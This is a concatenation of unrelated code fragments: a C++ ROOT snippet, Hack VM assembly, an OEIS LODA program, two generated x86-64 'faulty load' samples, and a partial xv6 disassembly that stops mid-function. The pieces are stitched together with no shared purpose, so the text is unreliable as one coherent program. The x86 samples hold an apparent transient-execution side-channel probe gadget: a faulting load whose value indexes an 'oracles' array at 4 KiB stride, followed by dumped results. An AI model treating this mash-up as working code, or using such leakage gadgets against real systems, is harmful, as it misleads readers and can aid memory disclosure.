const CentralityBins* table = (const CentralityBins*)file->Get(Form("%s/run%d/%s", dir, run, tag));
if (table)
map.insert(std::pair<int, const CentralityBins*>(run, table));
}
return map;
}
ClassImp(CBin);
ClassImp(CentralityBins);
|
// push constant 3030
@3030
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop pointer 0
@SP
M=M-1
// ==> regNum(pointer,0)=3
@SP
A=M
D=M
@R3
M=D
// push constant 3040
@3040
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop pointer 1
@SP
M=M-1
// ==> regNum(pointer,1)=4
@SP
A=M
D=M
@R4
M=D
// push constant 32
@32
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop this 2
@SP
M=M-1
@2
D=A
@THIS
A=M
AD=D+A
@R15
M=D
@SP
A=M
D=M
@R15
A=M
M=D
// push constant 46
@46
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop that 6
@SP
M=M-1
@6
D=A
@THAT
A=M
AD=D+A
@R15
M=D
@SP
A=M
D=M
@R15
A=M
M=D
// push pointer 0
@R3
D=M
@SP
A=M
M=D
@SP
M=M+1
// push pointer 1
@R4
D=M
@SP
A=M
M=D
@SP
M=M+1
// add
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=D+A
@SP
A=M
M=D
@SP
M=M+1
// push this 2
@2
D=A
@THIS
A=M
AD=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// sub
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=A-D
@SP
A=M
M=D
@SP
M=M+1
// push that 6
@6
D=A
@THAT
A=M
AD=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// add
@SP
M=M-1
@SP
A=M
D=M
@SP
M=M-1
@SP
A=M
A=M
D=D+A
@SP
A=M
M=D
@SP
M=M+1
|
; A208950: a(4*n) = n*(16*n^2-1)/3, a(2*n+1) = n*(n+1)*(2*n+1)/6, a(4*n+2) = (4*n+1)*(4*n+2)*(4*n+3)/6.
; 0,0,1,1,5,5,35,14,42,30,165,55,143,91,455,140,340,204,969,285,665,385,1771,506,1150,650,2925,819,1827,1015,4495,1240,2728,1496,6545,1785,3885,2109,9139,2470,5330,2870,12341,3311,7095,3795,16215,4324,9212,4900,20825,5525,11713,6201,26235,6930,14630,7714,32509,8555,17995,9455,39711,10416,21840,11440,47905,12529,26197,13685,57155,14910,31098,16206,67525,17575,36575,19019,79079,20540,42660,22140,91881,23821,49385,25585,105995,27434,56782,29370,121485,31395,64883,33511,138415,35720,73720,38024,156849,40425
mov $1,$0
bin $0,2
add $1,1
dif $1,2
mul $1,$0
dif $1,2
mov $0,$1
div $0,3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1a214, %rsi
lea addresses_UC_ht+0xb1a4, %rdi
clflush (%rsi)
nop
nop
nop
nop
inc %r11
mov $60, %rcx
rep movsq
nop
nop
nop
nop
sub $39471, %r12
lea addresses_A_ht+0x1b624, %rsi
lea addresses_WC_ht+0x18a94, %rdi
nop
nop
sub %r9, %r9
mov $80, %rcx
rep movsb
nop
nop
nop
nop
xor %r12, %r12
lea addresses_normal_ht+0x16334, %rsi
sub %rcx, %rcx
movw $0x6162, (%rsi)
nop
nop
nop
add $197, %r12
lea addresses_D_ht+0x11294, %r9
nop
nop
nop
and $59060, %r13
movb $0x61, (%r9)
nop
nop
nop
nop
xor $42212, %r9
lea addresses_WT_ht+0x1bad4, %rcx
clflush (%rcx)
nop
nop
sub %r9, %r9
mov (%rcx), %r13w
nop
and %r9, %r9
lea addresses_D_ht+0xccc, %rcx
nop
nop
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
xor %r9, %r9
lea addresses_D_ht+0x49e4, %rsi
nop
nop
nop
nop
nop
cmp %r9, %r9
movb (%rsi), %r13b
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x8254, %r13
nop
dec %r11
mov $0x6162636465666768, %r12
movq %r12, %xmm7
and $0xffffffffffffffc0, %r13
vmovaps %ymm7, (%r13)
nop
nop
nop
and $47996, %r13
lea addresses_WT_ht+0x8e94, %rsi
lea addresses_D_ht+0x14294, %rdi
nop
xor %r11, %r11
mov $93, %rcx
rep movsq
nop
and $8913, %rsi
lea addresses_WT_ht+0x1bc54, %rsi
lea addresses_WC_ht+0x894, %rdi
nop
nop
nop
xor %r13, %r13
mov $90, %rcx
rep movsb
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x16b64, %r12
nop
nop
nop
and $44734, %rsi
mov $0x6162636465666768, %r11
movq %r11, (%r12)
nop
nop
inc %r9
lea addresses_A_ht+0x1b5d2, %r12
nop
nop
nop
sub $2831, %rdi
mov (%r12), %rsi
nop
nop
and %rcx, %rcx
lea addresses_normal_ht+0x15e94, %r9
dec %r12
movw $0x6162, (%r9)
nop
cmp $7230, %r13
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rdx
// Store
lea addresses_PSE+0x18db2, %rax
nop
dec %r15
movw $0x5152, (%rax)
nop
nop
and %rbx, %rbx
// Faulty Load
lea addresses_A+0xe294, %rbx
nop
nop
nop
nop
nop
dec %r9
mov (%rbx), %dx
lea oracles, %rbx
and $0xff, %rdx
shlq $12, %rdx
mov (%rbx,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'00': 14997}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x11c65, %r12
nop
nop
add %rax, %rax
movups (%r12), %xmm4
vpextrq $0, %xmm4, %rdi
nop
nop
nop
nop
add %r10, %r10
lea addresses_A_ht+0xf665, %r8
nop
nop
nop
add $46462, %rsi
movl $0x61626364, (%r8)
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0xa65, %r8
nop
nop
nop
xor %rbx, %rbx
movb $0x61, (%r8)
nop
nop
cmp $18125, %rbx
lea addresses_WT_ht+0x1b7c5, %rdi
inc %rsi
vmovups (%rdi), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r10
nop
nop
inc %r8
lea addresses_D_ht+0x7265, %rsi
lea addresses_WC_ht+0x15149, %rdi
nop
nop
add $9184, %rbx
mov $65, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $6757, %rcx
lea addresses_WC_ht+0xad8d, %rsi
lea addresses_UC_ht+0x1ce65, %rdi
nop
nop
nop
cmp %rbx, %rbx
mov $58, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $35422, %rbx
lea addresses_WC_ht+0x1b85, %rsi
lea addresses_D_ht+0x1065, %rdi
nop
nop
nop
sub %rax, %rax
mov $49, %rcx
rep movsl
nop
and %rax, %rax
lea addresses_D_ht+0x1d805, %rcx
nop
nop
and $55110, %r8
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
and $0xffffffffffffffc0, %rcx
movntdq %xmm7, (%rcx)
nop
nop
nop
inc %rbx
lea addresses_normal_ht+0x16785, %rsi
lea addresses_UC_ht+0xcb55, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
sub $32082, %r10
mov $115, %rcx
rep movsq
and %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rax
push %rbp
push %rcx
// Store
lea addresses_UC+0x13a65, %rcx
nop
nop
nop
nop
nop
add $38675, %r8
movb $0x51, (%rcx)
nop
nop
nop
nop
dec %r14
// Faulty Load
lea addresses_UC+0x13a65, %r8
nop
cmp $29682, %r12
vmovups (%r8), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rcx
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_UC', 'congruent': 0}}
{'dst': {'same': True, 'NT': True, 'AVXalign': True, 'size': 1, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 3}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 5, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
_big: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
#include "fcntl.h"
int
main()
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 57 push %edi
7: 56 push %esi
8: 53 push %ebx
9: 81 ec 24 02 00 00 sub $0x224,%esp
char buf[512];
int fd, i, sectors;
fd = open("big.file", O_CREATE | O_WRONLY);
f: c7 44 24 04 01 02 00 movl $0x201,0x4(%esp)
16: 00
17: c7 04 24 98 08 00 00 movl $0x898,(%esp)
1e: e8 f5 03 00 00 call 418 <open>
if(fd < 0){
23: 85 c0 test %eax,%eax
main()
{
char buf[512];
int fd, i, sectors;
fd = open("big.file", O_CREATE | O_WRONLY);
25: 89 c7 mov %eax,%edi
if(fd < 0){
27: 0f 88 3b 01 00 00 js 168 <main+0x168>
2d: 8d 74 24 20 lea 0x20(%esp),%esi
31: 31 db xor %ebx,%ebx
33: 90 nop
34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
exit();
}
sectors = 0;
while(1){
*(int*)buf = sectors;
38: 89 1e mov %ebx,(%esi)
int cc = write(fd, buf, sizeof(buf));
3a: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
41: 00
42: 89 74 24 04 mov %esi,0x4(%esp)
46: 89 3c 24 mov %edi,(%esp)
49: e8 aa 03 00 00 call 3f8 <write>
if(cc <= 0)
4e: 85 c0 test %eax,%eax
50: 7e 36 jle 88 <main+0x88>
break;
sectors++;
52: 83 c3 01 add $0x1,%ebx
if (sectors % 100 == 0)
55: b8 1f 85 eb 51 mov $0x51eb851f,%eax
5a: f7 eb imul %ebx
5c: 89 d8 mov %ebx,%eax
5e: c1 f8 1f sar $0x1f,%eax
61: c1 fa 05 sar $0x5,%edx
64: 29 c2 sub %eax,%edx
66: 6b d2 64 imul $0x64,%edx,%edx
69: 39 d3 cmp %edx,%ebx
6b: 75 cb jne 38 <main+0x38>
printf(2, ".");
6d: c7 44 24 04 a1 08 00 movl $0x8a1,0x4(%esp)
74: 00
75: c7 04 24 02 00 00 00 movl $0x2,(%esp)
7c: e8 9f 04 00 00 call 520 <printf>
81: eb b5 jmp 38 <main+0x38>
83: 90 nop
84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
printf(1, "\nwrote %d sectors\n", sectors);
88: 89 5c 24 08 mov %ebx,0x8(%esp)
8c: c7 44 24 04 a3 08 00 movl $0x8a3,0x4(%esp)
93: 00
94: c7 04 24 01 00 00 00 movl $0x1,(%esp)
9b: e8 80 04 00 00 call 520 <printf>
close(fd);
a0: 89 3c 24 mov %edi,(%esp)
a3: e8 58 03 00 00 call 400 <close>
fd = open("big.file", O_RDONLY);
a8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
af: 00
b0: c7 04 24 98 08 00 00 movl $0x898,(%esp)
b7: e8 5c 03 00 00 call 418 <open>
if(fd < 0){
bc: 85 c0 test %eax,%eax
}
printf(1, "\nwrote %d sectors\n", sectors);
close(fd);
fd = open("big.file", O_RDONLY);
be: 89 44 24 1c mov %eax,0x1c(%esp)
if(fd < 0){
c2: 0f 88 c0 00 00 00 js 188 <main+0x188>
printf(2, "big: cannot re-open big.file for reading\n");
exit();
c8: 31 ff xor %edi,%edi
}
for(i = 0; i < sectors; i++){
ca: 85 db test %ebx,%ebx
cc: 75 17 jne e5 <main+0xe5>
ce: 66 90 xchg %ax,%ax
d0: eb 4e jmp 120 <main+0x120>
d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
int cc = read(fd, buf, sizeof(buf));
if(cc <= 0){
printf(2, "big: read error at sector %d\n", i);
exit();
}
if(*(int*)buf != i){
d8: 8b 06 mov (%esi),%eax
da: 39 f8 cmp %edi,%eax
dc: 75 62 jne 140 <main+0x140>
fd = open("big.file", O_RDONLY);
if(fd < 0){
printf(2, "big: cannot re-open big.file for reading\n");
exit();
}
for(i = 0; i < sectors; i++){
de: 83 c7 01 add $0x1,%edi
e1: 39 df cmp %ebx,%edi
e3: 7d 3b jge 120 <main+0x120>
int cc = read(fd, buf, sizeof(buf));
e5: 8b 44 24 1c mov 0x1c(%esp),%eax
e9: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
f0: 00
f1: 89 74 24 04 mov %esi,0x4(%esp)
f5: 89 04 24 mov %eax,(%esp)
f8: e8 f3 02 00 00 call 3f0 <read>
if(cc <= 0){
fd: 85 c0 test %eax,%eax
ff: 7f d7 jg d8 <main+0xd8>
printf(2, "big: read error at sector %d\n", i);
101: 89 7c 24 08 mov %edi,0x8(%esp)
105: c7 44 24 04 b6 08 00 movl $0x8b6,0x4(%esp)
10c: 00
10d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
114: e8 07 04 00 00 call 520 <printf>
exit();
119: e8 ba 02 00 00 call 3d8 <exit>
11e: 66 90 xchg %ax,%ax
*(int*)buf, i);
exit();
}
}
printf(1, "done; ok\n");
120: c7 44 24 04 d4 08 00 movl $0x8d4,0x4(%esp)
127: 00
128: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12f: e8 ec 03 00 00 call 520 <printf>
exit();
134: e8 9f 02 00 00 call 3d8 <exit>
139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(cc <= 0){
printf(2, "big: read error at sector %d\n", i);
exit();
}
if(*(int*)buf != i){
printf(2, "big: read the wrong data (%d) for sector %d\n",
140: 89 44 24 08 mov %eax,0x8(%esp)
144: 89 7c 24 0c mov %edi,0xc(%esp)
148: c7 44 24 04 34 09 00 movl $0x934,0x4(%esp)
14f: 00
150: c7 04 24 02 00 00 00 movl $0x2,(%esp)
157: e8 c4 03 00 00 call 520 <printf>
*(int*)buf, i);
exit();
15c: e8 77 02 00 00 call 3d8 <exit>
161: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
char buf[512];
int fd, i, sectors;
fd = open("big.file", O_CREATE | O_WRONLY);
if(fd < 0){
printf(2, "big: cannot open big.file for writing\n");
168: c7 44 24 04 e0 08 00 movl $0x8e0,0x4(%esp)
16f: 00
170: c7 04 24 02 00 00 00 movl $0x2,(%esp)
177: e8 a4 03 00 00 call 520 <printf>
exit();
17c: e8 57 02 00 00 call 3d8 <exit>
181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "\nwrote %d sectors\n", sectors);
close(fd);
fd = open("big.file", O_RDONLY);
if(fd < 0){
printf(2, "big: cannot re-open big.file for reading\n");
188: c7 44 24 04 08 09 00 movl $0x908,0x4(%esp)
18f: 00
190: c7 04 24 02 00 00 00 movl $0x2,(%esp)
197: e8 84 03 00 00 call 520 <printf>
exit();
19c: e8 37 02 00 00 call 3d8 <exit>
1a1: 90 nop
1a2: 90 nop
1a3: 90 nop
1a4: 90 nop
1a5: 90 nop
1a6: 90 nop
1a7: 90 nop
1a8: 90 nop
1a9: 90 nop
1aa: 90 nop
1ab: 90 nop
1ac: 90 nop
1ad: 90 nop
1ae: 90 nop
1af: 90 nop
000001b0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
1b0: 55 push %ebp
1b1: 31 d2 xor %edx,%edx
1b3: 89 e5 mov %esp,%ebp
1b5: 8b 45 08 mov 0x8(%ebp),%eax
1b8: 53 push %ebx
1b9: 8b 5d 0c mov 0xc(%ebp),%ebx
1bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *os;
os = s;
while((*s++ = *t++) != 0)
1c0: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
1c4: 88 0c 10 mov %cl,(%eax,%edx,1)
1c7: 83 c2 01 add $0x1,%edx
1ca: 84 c9 test %cl,%cl
1cc: 75 f2 jne 1c0 <strcpy+0x10>
;
return os;
}
1ce: 5b pop %ebx
1cf: 5d pop %ebp
1d0: c3 ret
1d1: eb 0d jmp 1e0 <strcmp>
1d3: 90 nop
1d4: 90 nop
1d5: 90 nop
1d6: 90 nop
1d7: 90 nop
1d8: 90 nop
1d9: 90 nop
1da: 90 nop
1db: 90 nop
1dc: 90 nop
1dd: 90 nop
1de: 90 nop
1df: 90 nop
000001e0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 53 push %ebx
1e4: 8b 4d 08 mov 0x8(%ebp),%ecx
1e7: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
1ea: 0f b6 01 movzbl (%ecx),%eax
1ed: 84 c0 test %al,%al
1ef: 75 14 jne 205 <strcmp+0x25>
1f1: eb 25 jmp 218 <strcmp+0x38>
1f3: 90 nop
1f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p++, q++;
1f8: 83 c1 01 add $0x1,%ecx
1fb: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1fe: 0f b6 01 movzbl (%ecx),%eax
201: 84 c0 test %al,%al
203: 74 13 je 218 <strcmp+0x38>
205: 0f b6 1a movzbl (%edx),%ebx
208: 38 d8 cmp %bl,%al
